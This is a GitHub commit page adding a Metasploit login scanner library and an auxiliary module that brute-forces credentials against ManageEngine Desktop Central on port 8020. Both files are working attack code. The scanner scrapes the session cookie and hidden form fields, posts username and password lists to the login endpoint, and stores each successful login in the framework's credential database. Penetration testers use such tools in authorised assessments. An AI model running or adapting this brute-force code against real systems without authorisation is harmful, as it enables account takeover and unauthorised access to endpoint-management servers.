Skip to content

Commit c6806b4

Browse files
committed
Land rapid7#5102, @wchen-r7's ManageEngine Desktop Central Login Utility
2 parents a531ad9 + 3e7c790 commit c6806b4

File tree

3 files changed

+424
-0
lines changed

3 files changed

+424
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
2+
require 'metasploit/framework/login_scanner/http'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
class ManageEngineDesktopCentral < HTTP
9+
10+
DEFAULT_PORT = 8020
11+
PRIVATE_TYPES = [ :password ]
12+
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
13+
14+
15+
# Checks if the target is ManageEngine Dekstop Central.
16+
#
17+
# @return [Boolean] TrueClass if target is MSP, otherwise FalseClass
18+
def check_setup
19+
login_uri = normalize_uri("#{uri}/configurations.do")
20+
res = send_request({'uri' => login_uri})
21+
22+
if res && res.body.include?('ManageEngine Desktop Central')
23+
return true
24+
end
25+
26+
false
27+
end
28+
29+
30+
# Returns the latest sid from MSP
31+
#
32+
# @param [Rex::Proto::Http::Response]
33+
# @return [String] The session ID for MSP
34+
def get_sid(res)
35+
cookies = res.get_cookies
36+
sid = cookies.scan(/(DCJSESSIONID=\w+);*/).flatten[0] || ''
37+
sid
38+
end
39+
40+
41+
42+
# Returns the hidden inputs
43+
#
44+
# @param [Rex::Proto::Http::Response]
45+
# @return [Hash] Input fields
46+
def get_hidden_inputs(res)
47+
found_inputs = {}
48+
res.body.scan(/(<input type="hidden" .+>)/).flatten.each do |input|
49+
name = input.scan(/name="(\w+)"/).flatten[0] || ''
50+
value = input.scan(/value="([\w\.\-]+)"/).flatten[0] || ''
51+
found_inputs[name] = value
52+
end
53+
found_inputs
54+
end
55+
56+
57+
# Returns all the items needed to login
58+
#
59+
# @return [Hash] Login items
60+
def get_required_login_items
61+
items = {}
62+
login_uri = normalize_uri("#{uri}/configurations.do")
63+
res = send_request({'uri' => login_uri})
64+
return items unless res
65+
items.merge!({'sid' => get_sid(res)})
66+
items.merge!(get_hidden_inputs(res))
67+
items
68+
end
69+
70+
71+
# Actually doing the login. Called by #attempt_login
72+
#
73+
# @param username [String] The username to try
74+
# @param password [String] The password to try
75+
# @return [Hash]
76+
# * :status [Metasploit::Model::Login::Status]
77+
# * :proof [String] the HTTP response body
78+
def get_login_state(username, password)
79+
login_uri = normalize_uri("#{uri}/j_security_check")
80+
login_items = get_required_login_items
81+
82+
res = send_request({
83+
'uri' => login_uri,
84+
'method' => 'POST',
85+
'cookie' => login_items['sid'],
86+
'vars_post' => {
87+
'j_username' => username,
88+
'j_password' => password,
89+
'Button' => 'Sign+in',
90+
'buildNum' => login_items['buildNum'],
91+
'clearCacheBuildNum' => login_items['clearCacheBuildNum']
92+
}
93+
})
94+
95+
unless res
96+
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
97+
end
98+
99+
if res.code == 302
100+
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
101+
end
102+
103+
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
104+
end
105+
106+
107+
# Attempts to login to MSP.
108+
#
109+
# @param credential [Metasploit::Framework::Credential] The credential object
110+
# @return [Result] A Result object indicating success or failure
111+
def attempt_login(credential)
112+
result_opts = {
113+
credential: credential,
114+
status: LOGIN_STATUS::INCORRECT,
115+
proof: nil,
116+
host: host,
117+
port: port,
118+
protocol: 'tcp'
119+
}
120+
121+
begin
122+
result_opts.merge!(get_login_state(credential.public, credential.private))
123+
rescue ::Rex::ConnectionError => e
124+
# Something went wrong during login. 'e' knows what's up.
125+
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
126+
end
127+
128+
Result.new(result_opts)
129+
end
130+
131+
end
132+
end
133+
end
134+
end
135+
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
8+
require 'metasploit/framework/credential_collection'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::AuthBrute
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'ManageEngine Desktop Central Login Utility',
20+
'Description' => %q{
21+
This module will attempt to authenticate to a ManageEngine Desktop Central.
22+
},
23+
'Author' => [ 'sinn3r' ],
24+
'License' => MSF_LICENSE,
25+
'DefaultOptions' => { 'RPORT' => 8020}
26+
))
27+
end
28+
29+
30+
# Initializes CredentialCollection and ManageEngineDesktopCentral
31+
def init(ip)
32+
@cred_collection = Metasploit::Framework::CredentialCollection.new(
33+
blank_passwords: datastore['BLANK_PASSWORDS'],
34+
pass_file: datastore['PASS_FILE'],
35+
password: datastore['PASSWORD'],
36+
user_file: datastore['USER_FILE'],
37+
userpass_file: datastore['USERPASS_FILE'],
38+
username: datastore['USERNAME'],
39+
user_as_pass: datastore['USER_AS_PASS']
40+
)
41+
42+
@scanner = Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral.new(
43+
configure_http_login_scanner(
44+
host: ip,
45+
port: datastore['RPORT'],
46+
cred_details: @cred_collection,
47+
stop_on_success: datastore['STOP_ON_SUCCESS'],
48+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
49+
connection_timeout: 5
50+
)
51+
)
52+
end
53+
54+
55+
# Reports a good login credential
56+
def do_report(ip, port, result)
57+
service_data = {
58+
address: ip,
59+
port: port,
60+
service_name: 'http',
61+
protocol: 'tcp',
62+
workspace_id: myworkspace_id
63+
}
64+
65+
credential_data = {
66+
module_fullname: self.fullname,
67+
origin_type: :service,
68+
private_data: result.credential.private,
69+
private_type: :password,
70+
username: result.credential.public,
71+
}.merge(service_data)
72+
73+
login_data = {
74+
core: create_credential(credential_data),
75+
last_attempted_at: DateTime.now,
76+
status: result.status,
77+
proof: result.proof
78+
}.merge(service_data)
79+
80+
create_credential_login(login_data)
81+
end
82+
83+
84+
# Attempts to login
85+
def bruteforce(ip)
86+
@scanner.scan! do |result|
87+
case result.status
88+
when Metasploit::Model::Login::Status::SUCCESSFUL
89+
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
90+
do_report(ip, rport, result)
91+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
92+
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
93+
invalidate_login(
94+
address: ip,
95+
port: rport,
96+
protocol: 'tcp',
97+
public: result.credential.public,
98+
private: result.credential.private,
99+
realm_key: result.credential.realm_key,
100+
realm_value: result.credential.realm,
101+
status: result.status,
102+
proof: result.proof
103+
)
104+
when Metasploit::Model::Login::Status::INCORRECT
105+
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
106+
invalidate_login(
107+
address: ip,
108+
port: rport,
109+
protocol: 'tcp',
110+
public: result.credential.public,
111+
private: result.credential.private,
112+
realm_key: result.credential.realm_key,
113+
realm_value: result.credential.realm,
114+
status: result.status,
115+
proof: result.proof
116+
)
117+
end
118+
end
119+
end
120+
121+
122+
# Start here
123+
def run_host(ip)
124+
init(ip)
125+
unless @scanner.check_setup
126+
print_brute(:level => :error, :ip => ip, :msg => 'Target is not ManageEngine Desktop Central')
127+
return
128+
end
129+
130+
bruteforce(ip)
131+
end
132+
133+
end

0 commit comments

Comments
 (0)